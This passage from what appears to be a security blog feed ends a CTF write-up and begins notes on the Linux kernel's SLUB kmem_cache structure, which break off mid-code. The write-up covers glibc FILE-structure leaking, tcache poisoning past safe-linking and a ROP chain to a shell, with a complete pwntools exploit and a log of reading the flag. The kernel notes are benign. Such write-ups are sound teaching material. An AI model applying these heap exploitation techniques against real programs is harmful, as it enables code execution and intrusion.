&lt;p&gt;To avoid the &lt;code&gt;_IO_SYSSEEK&lt;/code&gt; which could break stdout, we can add &lt;code&gt;_IO_IS_APPENDING&lt;/code&gt; to &lt;code&gt;fp-&amp;gt;_flags&lt;/code&gt;. Then &lt;code&gt;_IO_SYSWRITE&lt;/code&gt; is called and prints &lt;code&gt;(_f)-&amp;gt;_IO_write_ptr-(_f)-&amp;gt;_IO_write_base&lt;/code&gt; bytes from &lt;code&gt;(_f)-&amp;gt;_IO_write_base&lt;/code&gt; to stdout. But that&apos;s not finished, right after we got the stack leak &lt;code&gt;new_do_write&lt;/code&gt; initializes the output / input buffer to &lt;code&gt;_IO_buf_base&lt;/code&gt; except for the output buffer which is initialized to &lt;code&gt;_IO_buf_end&lt;/code&gt; (&lt;code&gt;_IO_LINE_BUF&lt;/code&gt; not present). Thus we have to make &lt;code&gt;fp-&amp;gt;_IO_buf_base&lt;/code&gt; and &lt;code&gt;fp-&amp;gt;_IO_buf_end&lt;/code&gt; equal to valid writable pointers.&lt;/p&gt;
&lt;p&gt;Thus we just need to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;fp-&amp;gt;_flags&lt;/code&gt; = (&lt;code&gt;fp-&amp;gt;_flags&lt;/code&gt; &amp;amp; ~(&lt;code&gt;_IO_NO_WRITES&lt;/code&gt;)) | &lt;code&gt;_IO_CURRENTLY_PUTTING&lt;/code&gt; | &lt;code&gt;_IO_IS_APPENDING&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;f-&amp;gt;_IO_write_ptr&lt;/code&gt; = &lt;code&gt;fp-&amp;gt;_IO_write_end&lt;/code&gt; = &lt;code&gt;f-&amp;gt;_IO_buf_end&lt;/code&gt; = &lt;code&gt;&amp;amp;environ + 8&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;fp-&amp;gt;_IO_write_base&lt;/code&gt; = &lt;code&gt;&amp;amp;environ&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Which gives:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
alloc(3, 
    pwn.p64(0xfbad1800) + # _flags
    pwn.p64(environ)*3 + # _IO_read_*
    pwn.p64(environ) + # _IO_write_base
    pwn.p64(environ + 0x8)*2 + # _IO_write_ptr + _IO_write_end
    pwn.p64(environ + 8) + # _IO_buf_base
    pwn.p64(environ + 8) # _IO_buf_end
    , 0x100) 

stack = pwn.u64(io.recv(8)[:-1].ljust(8, b&quot;\x00&quot;)) - 0x130 - 8 
# Offset of the saved rip that belongs to frame of the op_malloc function
pwn.log.info(f&quot;stack: {hex(stack)}&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;ROPchain&lt;/h1&gt;
&lt;p&gt;Now we leaked the stack address we finally just need to achieve another arbitrary write to craft the ROPchain onto the &lt;code&gt;op_malloc&lt;/code&gt; function that writes the user input into the requested chunk.&lt;/p&gt;
&lt;p&gt;To get the arbitrary write we just have to use the same overlapping chunks technique than last time, let&apos;s say we wanna write to &lt;code&gt;target&lt;/code&gt; and we have &lt;code&gt;prev&lt;/code&gt; that overlaps &lt;code&gt;victim&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;free(prev)&lt;/code&gt; ends up in the tcachebin (0x140), it has already been consolidated, it &lt;em&gt;already&lt;/em&gt; overlaps &lt;code&gt;victim&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;free(victim)&lt;/code&gt; ends up in the tcachebin (0x110).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;malloc(0x130)&lt;/code&gt; returns &lt;code&gt;prev&lt;/code&gt;, thus we can corrupt &lt;code&gt;victim-&amp;gt;next&lt;/code&gt; and intialize it to &lt;code&gt;(target ^ ((chunk_location) &amp;gt;&amp;gt; 12)&lt;/code&gt; to bypass safe-linking.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;malloc(0x100)&lt;/code&gt; returns &lt;code&gt;victim&lt;/code&gt; and tcachebin (0x110) next free chunk is &lt;code&gt;target&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;malloc(0x100)&lt;/code&gt; gives a write what where.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When we got the write what where on the stack we simply have to craft a call ot system since there is no &lt;code&gt;seccomp&lt;/code&gt; shit.
Here is the script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;free(1) # prev
free(2) # victim

alloc(5, b&quot;T&quot;*0x108 + pwn.p64(0x111) + pwn.p64((stack ^ ((heap + 0xb20) &amp;gt;&amp;gt; 12))), 0x130)
# victim-&amp;gt;next = target
alloc(2, b&quot;TT&quot;, 0x100)

alloc(3, pwn.p64(stack) + rop.chain(), 0x100) # overwrite sRBP for nothing lmao
# ROPchain on do_malloc&apos;s stackframe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And here we are:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nasm@off:~/Documents/pwn/diceCTF/catastrophe/f2$ python3 sexploit.py REMOTE HOST=mc.ax PORT=31273
[*] &apos;/home/nasm/Documents/pwn/diceCTF/catastrophe/f2/catastrophe&apos;
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to mc.ax on port 31273: Done
/home/nasm/.local/lib/python3.10/site-packages/pwnlib/tubes/tube.py:822: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  res = self.recvuntil(delim, timeout=timeout)
[*] heap @ 0x559cb0184000
[*] libc: 0x7efe8a967000
[*] environ: 0x7efe8ab88200
[*] stdout: 0x7efe8ab81780
[*] stack: 0x7ffe06420710
[*] Switching to interactive mode
$ id
uid=1000 gid=1000 groups=1000
$ ls
flag.txt
run
$ cat flag.txt
hope{apparently_not_good_enough_33981d897c3b0f696e32d3c67ad4ed1e}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Resources&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://a1ex.online/2020/10/01/glibc-IO%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/&quot;&gt;a1ex.online&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://ray-cp.github.io/archivers/IO_FILE_arbitrary_read_write&quot;&gt;ray-cp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://blog.leanote.com/post/mut3p1g/file-struct&quot;&gt;Mutepig&apos;s Blog&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Appendices&lt;/h1&gt;
&lt;p&gt;Final exploit:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/env python
# -*- coding: utf-8 -*-

# this exploit was generated via
# 1) pwntools
# 2) ctfmate

import os
import time
import pwn


# Set up pwntools for the correct architecture
exe = pwn.context.binary = pwn.ELF(&apos;catastrophe&apos;)
pwn.context.delete_corefiles = True
pwn.context.rename_corefiles = False
pwn.context.timeout = 2000

host = pwn.args.HOST or &apos;127.0.0.1&apos;
port = int(pwn.args.PORT or 1337)


def local(argv=[], *a, **kw):
    &apos;&apos;&apos;Execute the target binary locally&apos;&apos;&apos;
    if pwn.args.GDB:
        return pwn.gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return pwn.process([exe.path] + argv, *a, **kw)


def remote(argv=[], *a, **kw):
    &apos;&apos;&apos;Connect to the process on the remote host&apos;&apos;&apos;
    io = pwn.connect(host, port)
    if pwn.args.GDB:
        pwn.gdb.attach(io, gdbscript=gdbscript)
    return io


def start(argv=[], *a, **kw):
    &apos;&apos;&apos;Start the exploit against the target.&apos;&apos;&apos;
    if pwn.args.LOCAL:
        return local(argv, *a, **kw)
    else:
        return remote(argv, *a, **kw)


gdbscript = &apos;&apos;&apos;
b* main
source ~/Downloads/pwndbg/gdbinit.py
continue
&apos;&apos;&apos;.format(**locals())

io = None

libc = pwn.ELF(&quot;libc.so.6&quot;)

io = start()

def alloc(idx, data, size, s=False):
   io.sendlineafter(&quot;-\n&amp;gt; &quot;, b&quot;1&quot;) 
   io.sendlineafter(&quot;Index?\n&amp;gt; &quot;, str(idx).encode()) 
   io.sendlineafter(&quot;&amp;gt; &quot;, str(size).encode()) 
   
   if s:
       io.sendafter(&quot;: &quot;, data) 
   else:
       io.sendlineafter(&quot;: &quot;, data) 

def free(idx):
   io.sendlineafter(&quot;&amp;gt; &quot;, b&quot;2&quot;) 
   io.sendlineafter(&quot;&amp;gt; &quot;, str(idx).encode())

def view(idx):
   io.sendlineafter(&quot;&amp;gt; &quot;, b&quot;3&quot;) 
   io.sendlineafter(&quot;&amp;gt; &quot;, str(idx).encode())

for i in range(7):
    alloc(i, b&quot;&quot;, 0x100)
free(0)

view(0)

heap = ((pwn.u64(io.recvline()[:-1].ljust(8, b&quot;\x00&quot;)) &amp;lt;&amp;lt; 12))
pwn.log.info(f&quot;heap @ {hex(heap)}&quot;)
# then we defeated safe linking lol

alloc(0, b&quot;YY&quot;, 0x100)

alloc(7, b&quot;YY&quot;, 0x100)
alloc(8, b&quot;YY&quot;, 0x100)

alloc(9, b&quot;/bin/sh\0&quot;, 0x10)

for i in range(7):
    free(i)

alloc(9, b&quot;YY&quot;, 100)
free(9)

free(8)
free(7)
view(8)

libc.address = pwn.u64(io.recvline()[:-1].ljust(8, b&quot;\x00&quot;)) - 0x219ce0 # - 0x1bebe0 # offset of the unsorted bin

rop = pwn.ROP(libc)
binsh = next(libc.search(b&quot;/bin/sh\x00&quot;))
rop.execve(binsh, 0, 0)

environ = libc.address + 0x221200 
stdout = libc.address + 0x21a780

pwn.log.info(f&quot;libc: {hex(libc.address)}&quot;)
pwn.log.info(f&quot;environ: {hex(environ)}&quot;)
pwn.log.info(f&quot;stdout: {hex(stdout)}&quot;)

alloc(0, b&quot;YY&quot;, 0x100)
free(8)
alloc(1, b&quot;T&quot;*0x108 + pwn.p64(0x111) + pwn.p64((stdout ^ ((heap + 0xb20) &amp;gt;&amp;gt; 12))), 0x130)
alloc(2, b&quot;TT&quot;, 0x100)
alloc(3, pwn.p32(0xfbad1800) + pwn.p32(0) + pwn.p64(environ)*3 + pwn.p64(environ) + pwn.p64(environ + 0x8)*2 + pwn.p64(environ + 8) + pwn.p64(environ + 8), 0x100)

stack = pwn.u64(io.recv(8)[:-1].ljust(8, b&quot;\x00&quot;)) - 0x130 - 8# - 0x1bebe0 # offset of the unsorted bin
pwn.log.info(f&quot;stack: {hex(stack)}&quot;)

free(1) # large
free(2)

alloc(5, b&quot;T&quot;*0x108 + pwn.p64(0x111) + pwn.p64((stack ^ ((heap + 0xb20) &amp;gt;&amp;gt; 12))), 0x130)
alloc(2, b&quot;TT&quot;, 0x100)

alloc(3, pwn.p64(stack) + rop.chain(), 0x100) # overwrite sRBP for nothing lmao

io.interactive()
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>[Linux kernel side notes - SLUB] kmem_cache</title><link>https://n4sm.github.io/posts/kmem_cache/</link><guid isPermaLink="true">https://n4sm.github.io/posts/kmem_cache/</guid><pubDate>Mon, 18 Jul 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;kmem_cache&lt;/code&gt; structure is one of the main structures of the SLUB algorithm. It contains pointers to other structures (&lt;code&gt;cpu_slab&lt;/code&gt;, &lt;code&gt;node&lt;/code&gt; array) and informations about the cache it describes (&lt;code&gt;object_size&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt;). Every notes target &lt;a href=&quot;https://elixir.bootlin.com/linux/v5.18.12/source/kernel&quot;&gt;linux kernel 5.18.12&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Overview of its role among the allocation process:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/pic/SLUB_schema1.png&quot; alt=&quot;SLUB schema&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Let&apos;s dig into&lt;/h2&gt;
&lt;p&gt;Here is the definition of the &lt;code&gt;kmem_cache&lt;/code&gt; structure:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/linux/latest/source/include/linux/slub_def.h#L90
/*
 * Slab cache management.
 */
struct kmem_cache {
	struct kmem_cache_cpu __percpu *cpu_slab;
	/* Used for retrieving partial slabs, etc. */
	slab_flags_t flags;
	unsigned long min_partial;
	unsigned int size;	/* The size of an object including metadata */
	unsigned int object_size;/* The size of an object without metadata */
	struct reciprocal_value reciprocal_size;
	unsigned int offset;	/* Free pointer offset */
#ifdef CONFIG_SLUB_CPU_PARTIAL
	/* Number of per cpu partial objects to keep around */
	unsigned int cpu_partial;
	/* Number of per cpu partial slabs to keep around */
	unsigned int cpu_partial_slabs;
#endif
	struct kmem_cache_order_objects oo;

	/* Allocation and freeing of slabs */
	struct kmem_cache_order_objects max;
	struct kmem_cache_order_objects min;
	gfp_t allocflags;	/* gfp flags to use on each alloc */
	int refcount;		/* Refcount for slab cache destroy */
	void (*ctor)(void *);
	unsigned int inuse;		/* Offset to metadata */
	unsigned int align;		/* Alignment */
	unsigned int red_left_pad;	/* Left redzone padding size */
	const char *name;	/* Name (only for display!) */
	struct list_head list;	/* List of slab caches */
#ifdef CONFIG_SYSFS
	struct kobject kobj;	/* For sysfs */
#endif
#ifdef CONFIG_SLAB_FREELIST_HARDENED
	unsigned long random;
#endif

#ifdef CONFIG_NUMA
	/*
	 * Defragmentation by allocating from a remote node.
	 */
	unsigned int remote_node_defrag_ratio;
#endif

#ifdef CONFIG_SLAB_FREELIST_RANDOM
	unsigned int *random_seq;
#endif

#ifdef CONFIG_KASAN
	struct kasan_cache kasan_info;
#endif

	unsigned int useroffset;	/* Usercopy region offset */
	unsigned int usersize;		/* Usercopy region size */

	struct kmem_cache_node *node[MAX_NUMNODES];
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;cpu_slab&lt;/code&gt; is a pointer to the &lt;code&gt;__percpu&lt;/code&gt; &lt;code&gt;kmem_cache_cpu&lt;/code&gt; structure. Each cpu has its own &lt;code&gt;kmem_cache_cpu&lt;/code&gt; to easily and faster return objects without having to trigger the &quot;slowpath&quot; code path which will search through the partial list of the &lt;code&gt;kmem_cache_cpu&lt;/code&gt; or by allocating one more slab.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;flags&lt;/code&gt; are the internal flags used to describe the cache. The whole (I hope so) list would be:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/linux/latest/source/include/linux/slab.h#L27
/*
 * Flags to pass to kmem_cache_create().
 * The ones marked DEBUG are only valid if CONFIG_DEBUG_SLAB is set.
 */
/* DEBUG: Perform (expensive) checks on alloc/free */
#define SLAB_CONSISTENCY_CHECKS	((slab_flags_t __force)0x00000100U)
/* DEBUG: Red zone objs in a cache */
#define SLAB_RED_ZONE		((slab_flags_t __force)0x00000400U)
/* DEBUG: Poison objects */
#define SLAB_POISON		((slab_flags_t __force)0x00000800U)
/* Align objs on cache lines */
#define SLAB_HWCACHE_ALIGN	((slab_flags_t __force)0x00002000U)
/* Use GFP_DMA memory */
#define SLAB_CACHE_DMA		((slab_flags_t __force)0x00004000U)
/* Use GFP_DMA32 memory */
#define SLAB_CACHE_DMA32	((slab_flags_t __force)0x00008000U)
/* DEBUG: Store the last owner for bug hunting */
#define SLAB_STORE_USER		((slab_flags_t __force)0x00010000U)
/* Panic if kmem_cache_create() fails */
#define SLAB_PANIC		((slab_flags_t __force)0x00040000U)
/*
 * SLAB_TYPESAFE_BY_RCU - **WARNING** READ THIS!
 *
 * This delays freeing the SLAB page by a grace period, it does _NOT_
 * delay object freeing. This means that if you do kmem_cache_free()
 * that memory location is free to be reused at any time. Thus it may
 * be possible to see another object there in the same RCU grace period.
 *
 * This feature only ensures the memory location backing the object
 * stays valid, the trick to using this is relying on an independent
 * object validation pass. Something like:
 *
 *  rcu_read_lock()
 * again:
 *  obj = lockless_lookup(key);
 *  if (obj) {
 *    if (!try_get_ref(obj)) // might fail for free objects
 *      goto again;
 *
 *    if (obj-&amp;gt;key != key) { // not the object we expected
 *      put_ref(obj);
 *      goto again;
 *    }
 *  }
 *  rcu_read_unlock();
 *
 * This is useful if we need to approach a kernel structure obliquely,
 * from its address obtained without the usual locking. We can lock
 * the structure to stabilize it and check it&apos;s still at the given address,
 * only if we can be sure that the memory has not been meanwhile reused
 * for some other kind of object (which our subsystem&apos;s lock might corrupt).
 *
 * rcu_read_lock before reading the address, then rcu_read_unlock after
 * taking the spinlock within the structure expected at that address.
 *
 * Note that SLAB_TYPESAFE_BY_RCU was originally named SLAB_DESTROY_BY_RCU.
 */
/* Defer freeing slabs to RCU */
#define SLAB_TYPESAFE_BY_RCU	((slab_flags_t __force)0x00080000U)
/* Spread some memory over cpuset */
#define SLAB_MEM_SPREAD		((slab_flags_t __force)0x00100000U)
/* Trace allocations and frees */
#define SLAB_TRACE		((slab_flags_t __force)0x00200000U)

/* Flag to prevent checks on free */
#ifdef CONFIG_DEBUG_OBJECTS
# define SLAB_DEBUG_OBJECTS	((slab_flags_t __force)0x00400000U)
#else
# define SLAB_DEBUG_OBJECTS	0
#endif

/* Avoid kmemleak tracing */
#define SLAB_NOLEAKTRACE	((slab_flags_t __force)0x00800000U)

/* Fault injection mark */
#ifdef CONFIG_FAILSLAB
# define SLAB_FAILSLAB		((slab_flags_t __force)0x02000000U)
#else
# define SLAB_FAILSLAB		0
#endif
/* Account to memcg */
#ifdef CONFIG_MEMCG_KMEM
# define SLAB_ACCOUNT		((slab_flags_t __force)0x04000000U)
#else
# define SLAB_ACCOUNT		0
#endif

#ifdef CONFIG_KASAN
#define SLAB_KASAN		((slab_flags_t __force)0x08000000U)
#else
#define SLAB_KASAN		0
#endif

/* The following flags affect the page allocator grouping pages by mobility */
/* Objects are reclaimable */
#define SLAB_RECLAIM_ACCOUNT	((slab_flags_t __force)0x00020000U)
#define SLAB_TEMPORARY		SLAB_RECLAIM_ACCOUNT	/* Objects are short-lived */
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;min_partial&lt;/code&gt; stands for the minimum amount of partial slabs (&lt;code&gt;node-&amp;gt;nr_partial&lt;/code&gt;) within the &lt;code&gt;kmem_cache_node&lt;/code&gt; structure. When a slab attempts to be freed, if &lt;code&gt;node-&amp;gt;nr_partial&lt;/code&gt; &amp;lt; &lt;code&gt;min_partial&lt;/code&gt;, the free process is aborted. For further informations to a look at &lt;a href=&quot;https://elixir.bootlin.com/linux/latest/source/mm/slub.c#L3388&quot;&gt;this&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;size&lt;/code&gt; stands for -- according to the comment -- The size of an object including metadata.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;object_size&lt;/code&gt; stands for -- according to the comment -- The size of an object without metadata.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;reciprocal_size&lt;/code&gt; is a &lt;code&gt;reciprocal_value&lt;/code&gt; structure that stands for the reciprocal value of the &lt;code&gt;size&lt;/code&gt;. It&apos;s basically a magic structure that allows linux to compute faster a division between an integer and a predefined constant (the &lt;code&gt;size&lt;/code&gt; for our case). It allows linux to do a multiplication instead of a directly a division. Further informations below:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/linux/latest/source/include/linux/reciprocal_div.h#L23
/*
 * This algorithm is based on the paper &quot;Division by Invariant
 * Integers Using Multiplication&quot; by Torbjörn Granlund and Peter
 * L. Montgomery.
 *
 * The assembler implementation from Agner Fog, which this code is
 * based on, can be found here:
 * http://www.agner.org/optimize/asmlib.zip
 *
 * This optimization for A/B is helpful if the divisor B is mostly
 * runtime invariant. The reciprocal of B is calculated in the
 * slow-path with reciprocal_value(). The fast-path can then just use
 * a much faster multiplication operation with a variable dividend A
 * to calculate the division A/B.
 */

struct reciprocal_value {
	u32 m;
	u8 sh1, sh2;
};
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;offset&lt;/code&gt; stands for the offset up to the next free pointer among each object.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cpu_partial&lt;/code&gt; stands for the number of per cpu partial objects to keep around. Which means if the sum of every freed objects among partial cpu slabs is bigger than &lt;code&gt;cpu_partial&lt;/code&gt;, part of it is moved to the node cache.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cpu_partial_slabs&lt;/code&gt; stands for the number of per cpu partial slabs to keep around.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;oo&lt;/code&gt; stands for both the number of objects among a slab and the size of the whole slab. Here are the two functions that compute the conversion and the one that computes the &lt;code&gt;oo&lt;/code&gt; from the order and the size of the object:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/linux/latest/source/mm/slub.c#L407
static inline unsigned int oo_order(struct kmem_cache_order_objects x)
{
	return x.x &amp;gt;&amp;gt; OO_SHIFT;
}

static inline unsigned int oo_objects(struct kmem_cache_order_objects x)
{
	return x.x &amp;amp; OO_MASK;
}

// https://elixir.bootlin.com/linux/latest/source/mm/slub.c#L392

static inline unsigned int order_objects(unsigned int order, unsigned int size)
{
	return ((unsigned int)PAGE_SIZE &amp;lt;&amp;lt; order) / size;
}

static inline struct kmem_cache_order_objects oo_make(unsigned int order,
		unsigned int size)
{
	struct kmem_cache_order_objects x = {
		(order &amp;lt;&amp;lt; OO_SHIFT) + order_objects(order, size)
	};

	return x;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;allocflags&lt;/code&gt; GFP allocation flags. Here are most of them:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/linux/latest/source/include/linux/gfp.h#L340
#define GFP_ATOMIC	(__GFP_HIGH|__GFP_ATOMIC|__GFP_KSWAPD_RECLAIM)
#define GFP_KERNEL	(__GFP_RECLAIM | __GFP_IO | __GFP_FS)
#define GFP_KERNEL_ACCOUNT (GFP_KERNEL | __GFP_ACCOUNT)
#define GFP_NOWAIT	(__GFP_KSWAPD_RECLAIM)
#define GFP_NOIO	(__GFP_RECLAIM)
#define GFP_NOFS	(__GFP_RECLAIM | __GFP_IO)
#define GFP_USER	(__GFP_RECLAIM | __GFP_IO | __GFP_FS | __GFP_HARDWALL)
#define GFP_DMA		__GFP_DMA
#define GFP_DMA32	__GFP_DMA32
#define GFP_HIGHUSER	(GFP_USER | __GFP_HIGHMEM)
#define GFP_HIGHUSER_MOVABLE	(GFP_HIGHUSER | __GFP_MOVABLE | \
			 __GFP_SKIP_KASAN_POISON)
#define GFP_TRANSHUGE_LIGHT	((GFP_HIGHUSER_MOVABLE | __GFP_COMP | \
			 __GFP_NOMEMALLOC | __GFP_NOWARN) &amp;amp; ~__GFP_RECLAIM)
#define GFP_TRANSHUGE	(GFP_TRANSHUGE_LIGHT | __GFP_DIRECT_RECLAIM)

/* Convert GFP flags to their corresponding migrate type */
#define GFP_MOVABLE_MASK (__GFP_RECLAIMABLE|__GFP_MOVABLE)
#define GFP_MOVABLE_SHIFT 3
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;refcount&lt;/code&gt; stands for the amount of time the &lt;code&gt;kmem_cache&lt;/code&gt; has been reused and &quot;aliased&quot;. For further informations, take a look at &lt;code&gt;__kmem_cache_alias&lt;/code&gt; &lt;a href=&quot;https://elixir.bootlin.com/linux/latest/source/mm/slub.c#L4863&quot;&gt;here&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ctor&lt;/code&gt; stands for a constructor called at every object intitialization, it&apos;s called in &lt;code&gt;setup_object&lt;/code&gt; which is itself called in &lt;code&gt;shuffle_freelist&lt;/code&gt; and in &lt;code&gt;allocate_slab&lt;/code&gt; at the slab allocation level so.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;inuse&lt;/code&gt; stands for the offset of the first metadata, we can distinguish several cases:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/linux/v5.18.12/source/mm/slub.c#L987
/* object + s-&amp;gt;inuse
 * 	Meta data starts here.
 *
 * 	A. Free pointer (if we cannot overwrite object on free)
 * 	B. Tracking data for SLAB_STORE_USER
 *	C. Padding to reach required alignment boundary or at minimum
 * 		one word if debugging is on to be able to detect writes
 * 		before the word boundary.
 *
 *	Padding is done using 0x5a (POISON_INUSE)
*/
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;align&lt;/code&gt; alignement needed for each object.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;red_left_pad&lt;/code&gt; stands for the left pad to prevent right out of bound write.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;img align=&quot;center&quot; width=&quot;75%&quot; src=&quot;../../left_pad.jpg&quot;&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;name&lt;/code&gt; stands for the cache name.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;list&lt;/code&gt; stands for the doubly linked list that groups every &lt;code&gt;kmem_cache&lt;/code&gt;, the &lt;code&gt;HEAD&lt;/code&gt; is the &lt;code&gt;slab_caches&lt;/code&gt; symbol.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;kobj&lt;/code&gt; stands for the internal kobjets reference counter, see &lt;a href=&quot;https://lwn.net/Articles/51437/&quot;&gt;this LWN article&lt;/a&gt; for further informations.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;random&lt;/code&gt; stands for the secret kept in each &lt;code&gt;kmem_cache&lt;/code&gt; when the kernel is compiled with the &lt;code&gt;CONFIG_SLAB_FREELIST_HARDENED&lt;/code&gt;. It&apos;s initialized in &lt;code&gt;kmem_cache_open&lt;/code&gt; and used to decrypt the next free pointer of free chunks belonging to the cache:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/linux/v5.18.12/source/mm/slub.c#L4180
static int kmem_cache_open(struct kmem_cache *s, slab_flags_t flags)
{
	s-&amp;gt;flags = kmem_cache_flags(s-&amp;gt;size, flags, s-&amp;gt;name);
#ifdef CONFIG_SLAB_FREELIST_HARDENED
	s-&amp;gt;random = get_random_long();

// https://elixir.bootlin.com/linux/v5.18.12/source/mm/slub.c#L334

/*
 * Returns freelist pointer (ptr). With hardening, this is obfuscated
 * with an XOR of the address where the pointer is held and a per-cache
 * random number.
 */
static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
				 unsigned long ptr_addr)
{
#ifdef CONFIG_SLAB_FREELIST_HARDENED
	/*
	 * When CONFIG_KASAN_SW/HW_TAGS is enabled, ptr_addr might be tagged.
	 * Normally, this doesn&apos;t cause any issues, as both set_freepointer()
	 * and get_freepointer() are called with a pointer with the same tag.
	 * However, there are some issues with CONFIG_SLUB_DEBUG code. For
	 * example, when __free_slub() iterates over objects in a cache, it
	 * passes untagged pointers to check_object(). check_object() in turns
	 * calls get_freepointer() with an untagged pointer, which causes the
	 * freepointer to be restored incorrectly.
	 */
	return (void *)((unsigned long)ptr ^ s-&amp;gt;random ^
			swab((unsigned long)kasan_reset_tag((void *)ptr_addr)));
#else
	return ptr;
#endif
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;remote_node_defrag_ratio&lt;/code&gt; bigger the &lt;code&gt;remote_node_defrag_ratio&lt;/code&gt; is, more the allocator returns objets that belong to remote nodes:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/linux/v5.18.12/source/mm/slub.c#L2200
	/*
	 * The defrag ratio allows a configuration of the tradeoffs between
	 * inter node defragmentation and node local allocations. A lower
	 * defrag_ratio increases the tendency to do local allocations
	 * instead of attempting to obtain partial slabs from other nodes.
	 *
	 * If the defrag_ratio is set to 0 then kmalloc() always
	 * returns node local objects. If the ratio is higher then kmalloc()
	 * may return off node objects because partial slabs are obtained
	 * from other nodes and filled up.
	 *
	 * If /sys/kernel/slab/xx/remote_node_defrag_ratio is set to 100
	 * (which makes defrag_ratio = 1000) then every (well almost)
	 * allocation will first attempt to defrag slab caches on other nodes.
	 * This means scanning over all nodes to look for partial slabs which
	 * may be expensive if we do it every time we are trying to find a slab
	 * with available objects.
	 */
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;random_seq&lt;/code&gt; represents a shuffled array of offset of chunks that belong to a slab. Given the freelist stuff is done only on a slab, the offset should not exceed &lt;code&gt;page_limit&lt;/code&gt; which is &lt;code&gt;nr_objects * size&lt;/code&gt;.cDepends on &lt;code&gt;CONFIG_SLAB_FREELIST_RANDOM&lt;/code&gt;. Here are some functions that use &lt;code&gt;random_seq&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// https://elixir.bootlin.com/linux/v5.18.12/source/mm/slub.c#L1855

/* Get the next entry on the pre-computed freelist randomized */
static void *next_freelist_entry(struct kmem_cache *s, struct slab *slab,
				unsigned long *pos, void *start,
				unsigned long page_limit,
				unsigned long freelist_count)
{
	unsigned int idx;

	/*
	 * If the target page allocation failed, the number of objects on the
	 * page might be smaller than the usual size defined by the cache.
	 */
	do {
		idx = s-&amp;gt;random_seq[*pos];
